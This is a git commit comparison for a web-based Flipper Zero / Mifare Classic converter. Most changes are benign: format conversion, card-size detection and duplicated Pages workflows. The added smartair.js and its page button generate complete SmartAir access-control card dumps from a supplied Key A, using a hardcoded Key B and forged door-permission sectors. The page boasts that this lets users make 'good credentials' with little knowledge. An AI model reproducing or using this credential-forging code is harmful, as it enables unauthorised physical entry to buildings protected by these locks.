Compare commits

15 Commits

Author SHA1 Message Date
dandri
ad5b51b7c2 Update index.html 2025-03-27 22:31:01 +00:00
dandri
07aed533a3 Update index.html 2024-08-27 16:22:12 +00:00
dandri
d307f4b77b Update index.html 2024-08-27 16:16:24 +00:00
dandri
611587075b Update smartair.js 2024-08-25 01:25:44 +00:00
dandri
5908b7217d Update smartair.js 2024-08-25 00:29:53 +00:00
dandri
de003634fa Create jekyll-gh-pagess.yml 2024-08-24 23:34:10 +00:00
dandri
cceac1d1a9 Create jekyll-gh-pages.yml 2024-08-24 23:31:39 +00:00
dandri
490b7d66b1 Update smartair.js 2024-08-24 23:30:34 +00:00
Michael Micsen Johannessen Wehus
00924c2f52 Update smartair.js 2024-08-23 23:04:06 +02:00
Michael Micsen Johannessen Wehus
fae5181d50 Try this one 2024-08-23 19:16:27 +02:00
Michael Micsen Johannessen Wehus
5e7331f02d Add SmartAir 2023-04-08 05:27:35 +01:00
Michael Micsen Johannessen Wehus
a3c0cdd6da bug 2023-04-08 02:21:42 +01:00
Michael Micsen Johannessen Wehus
23e53f39f2 reverting 2023-04-08 02:20:31 +01:00
Michael Micsen Johannessen Wehus
48c85fc286 Add 4k support 2023-04-08 02:16:31 +01:00
Michael Micsen Johannessen Wehus
38f72a92f9 Bin to flip (#1)
Added the ability to download both BIN and NFC
2023-04-08 00:13:10 +01:00
5 changed files with 284 additions and 3 deletions

51
.github/workflows/jekyll-gh-pages.yml vendored Normal file
View File

@@ -0,0 +1,51 @@
# Sample workflow for building and deploying a Jekyll site to GitHub Pages
name: Deploy Jekyll with GitHub Pages dependencies preinstalled
on:
# Runs on pushes targeting the default branch
push:
branches: ["master"]
# Allows you to run this workflow manually from the Actions tab
workflow_dispatch:
# Sets permissions of the GITHUB_TOKEN to allow deployment to GitHub Pages
permissions:
contents: read
pages: write
id-token: write
# Allow only one concurrent deployment, skipping runs queued between the run in-progress and latest queued.
# However, do NOT cancel in-progress runs as we want to allow these production deployments to complete.
concurrency:
group: "pages"
cancel-in-progress: false
jobs:
# Build job
build:
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Setup Pages
uses: actions/configure-pages@v5
- name: Build with Jekyll
uses: actions/jekyll-build-pages@v1
with:
source: ./
destination: ./_site
- name: Upload artifact
uses: actions/upload-pages-artifact@v3
# Deployment job
deploy:
environment:
name: github-pages
url: ${{ steps.deployment.outputs.page_url }}
runs-on: ubuntu-latest
needs: build
steps:
- name: Deploy to GitHub Pages
id: deployment
uses: actions/deploy-pages@v4

51
.github/workflows/jekyll-gh-pagess.yml vendored Normal file
View File

@@ -0,0 +1,51 @@
# Sample workflow for building and deploying a Jekyll site to GitHub Pages
name: Deploy Jekyll with GitHub Pages dependencies preinstalled
on:
# Runs on pushes targeting the default branch
push:
branches: ["master"]
# Allows you to run this workflow manually from the Actions tab
workflow_dispatch:
# Sets permissions of the GITHUB_TOKEN to allow deployment to GitHub Pages
permissions:
contents: read
pages: write
id-token: write
# Allow only one concurrent deployment, skipping runs queued between the run in-progress and latest queued.
# However, do NOT cancel in-progress runs as we want to allow these production deployments to complete.
concurrency:
group: "pages"
cancel-in-progress: false
jobs:
# Build job
build:
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Setup Pages
uses: actions/configure-pages@v5
- name: Build with Jekyll
uses: actions/jekyll-build-pages@v1
with:
source: ./
destination: ./_site
- name: Upload artifact
uses: actions/upload-pages-artifact@v3
# Deployment job
deploy:
environment:
name: github-pages
url: ${{ steps.deployment.outputs.page_url }}
runs-on: ubuntu-latest
needs: build
steps:
- name: Deploy to GitHub Pages
id: deployment
uses: actions/deploy-pages@v4

View File

@@ -1,18 +1,24 @@
<!DOCTYPE html>
3<!DOCTYPE html>
<html>
<body>
<title>Flipper <-> Mifare classic Binary coverter</title>
<h2>Mifare classic converter</h2>
<p>I take absolutely no liabilty for use please verify the files yourself before writing to a card you can end up
bricking your cards.</p>
<script src="./script.js"></script>
<script src="./scripts/smartair.js"></script>
<script>
let cardSize = 1024 //1k card
let blocks = 64 // 1k card
let filename = Date.now()
function updateCardSize(size) {
cardSize = size
blocks = size / 16
}
document.addEventListener("DOMContentLoaded", function (event) {
const nfc = document.getElementById("nfc");
document.getElementById("file-selector").addEventListener("change", (event) => {
@@ -22,11 +28,22 @@
filename = event.target.files[0].name.replace(".bin", "")
const hexStr = generateNfcFromBinary(data);
nfc.value = hexStr;
updateCardSize(data.length)
})
} else if (event.target.files[0].name.endsWith(".nfc")) {
getTextFromFile(event.target.files[0]).then((data) => {
filename = event.target.files[0].name.replace(".nfc", "")
nfc.value = data;
const re = /Mifare Classic type: (1K|4K)/
const dec = re.exec(data)
console.log(dec)
if (dec) {
if (dec[1] == "1K") {
updateCardSize(1024)
} else if (dec[1] == "4K") {
updateCardSize(4096)
}
}
})
} else {
alert("Invalid file type");
@@ -74,6 +91,17 @@
function nfc() {
downloadTextFile(document.getElementById("nfc").value, filename + ".nfc")
}
function smartAir() {
const nfc = document.getElementById("nfc");
const startSector = Number(document.getElementById("startSector").value)
const keyA = document.getElementById("keyA").value
const data = generateSmartAirCard(startSector, keyA)
console.log(data)
const hexStr = generateNfcFromBinary(data);
nfc.value = hexStr;
}
</script>
@@ -89,6 +117,19 @@
<input type="file" id="file-selector" accept=".bin,.nfc">
<br />
<textarea id="nfc" rows="20" cols="90"></textarea>
<br />
<p>Custom generation</p>
<p>What is this?</p>
<p>This is when someone fucked up big time and let us generate good credentials with little to no knowledge
All props goes to Miana and Micsen for their incredible research on Smartair. https://smartair.wtf</p>
<div>
<p>Key A</p><input type="text" id="keyA" />
<p>StartSector</p><input type="text" id="startSector" />
<button type="button" onclick="smartAir()">
Make smartAirDump
</button>
</div>
</body>
</html>
</html>

View File

@@ -35,6 +35,7 @@ function downloadTextFile(text, filename) {
function generateNfcFromBinary(data, uidLength = 4) {
console.log(data)
const dataLen = data.length;
const uid = data.slice(0, uidLength);
if (dataLen != 1024 && dataLen != 4096) {
@@ -103,4 +104,18 @@ function printHex(data, lsbFirst = false) {
hex += data[j].toString(16).padStart(2, '0') + " ";
}
return hex.trim();
}
function isBigSector(sector) {
return sector < 32;
}
function getBlocks(sector) {
if (sector < 32) {
const s = sector * 4
return {start: s, end: s + 3};
} else {
const s = 128 + (sector - 16) * 16
return {start: s, end: s + 15};
}
}

123
scripts/smartair.js Normal file
View File

@@ -0,0 +1,123 @@
function generateDoorSector(sector, keyA, startId) {
if (keyA.length != 12) {
//alert("KeyA must be 12 characters long")
throw "KeyA must be 12 characters long"
}
const keyB = "e7316853e731"
blocks = getBlocks(sector)
const trailer = `${keyA}7f078800${keyB}`
let id=startId
let data = ""
for (let i = blocks.start; i < blocks.end; i++) {
let block = ""
for (let j = 0; j < 4; j++) {
const door = `${id.toString(16).padStart(4, '0')}0f01`
block += door
id++
}
//console.log(block)
data += block
}
return {data: data+trailer, endDoorId: id}
}
function generateStartSector(keyA, uocBlock) {
if (keyA.length != 12) {
//alert("KeyA must be 12 characters long")
throw "KeyA must be 12 characters long"
}
const keyB = "e7316853e731"
const trailer = `${keyA}7f078800${keyB}`
const uocBlockStr = `${uocBlock.toString(16).padStart(4, '0')}`
let data = ""
const systemID = keyA.substring(4, 12)
data += `181e${systemID}00FAF8FF2ABC06A5002A`
data += `BC983E4C982345AA850${uocBlockStr}000000000`
data += "00000000000000000000000000000000"
data += trailer
//console.log(data)
return data
}
function generateUocSector(keyA, startSector) {
if (keyA.length != 12) {
//alert("KeyA must be 12 characters long")
throw "KeyA must be 12 characters long"
}
const keyB = "e7316853e731"
const trailer = `${keyA}7f078800${keyB}`
const doorBlockStart = `${getBlocks(startSector).start.toString(16).padStart(2, '0')}`
let data = ""
const systemID = keyA.substring(4, 12)
//280{log_block_start:04x}0001E00000{door_block_start:02x}0{num_doors:04x}00000000
const block0 = `28000100001E00000${doorBlockStart}0034800000000`
data += block0
data += block0
data += "00000000000000002DBD06A600000000"
data += trailer
//console.log(data)
return data
}
function fillSector(sector) {
const key = "ffffffffffff"
blocks = getBlocks(sector)
const trailer = `${key}7f078800${key}`
let data = ""
for (let i = blocks.start; i < blocks.end; i++) {
data+="00000000000000000000000000000000"
}
data+=trailer
return data
}
function isBigSector(sector) {
return sector > 31;
}
function getBlocks(sector) {
if (sector < 32) {
const s = sector * 4
return {start: s, end: s + 3};
} else {
const s = 128 + (sector - 16) * 16
return {start: s, end: s + 15};
}
}
function generateSmartAirCard(startSector, keyA) {
let door = 0
let doorSectorFrom = startSector+2
let uocBlock = getBlocks(startSector+1).start
let dat = ""
for (let i = 0; i < 40; i++) {
if (i == 0) {
//Header block...
dat += "968B54145D880400C844002000000018"
dat += "00000000000000000000000000000000"
dat += "00000000000000000000000000000000"
dat += "FFFFFFFFFFFFFF078069FFFFFFFFFFFF"
} else if (i == startSector) {
dat += generateStartSector(keyA, uocBlock)
} else if (i == startSector+1) {
dat += generateUocSector(keyA, doorSectorFrom)
} else if (i >= doorSectorFrom) {
const {data, endDoorId} = generateDoorSector(i, keyA, door)
dat += data
door = endDoorId+1
} else {
dat += fillSector(i)
}
}
var bin = new Array();
for (var i = 0; i < dat.length / 2; i++) {
var h = dat.substr(i * 2, 2);
bin[i] = parseInt(h, 16);
}
return new Uint8Array(bin)
}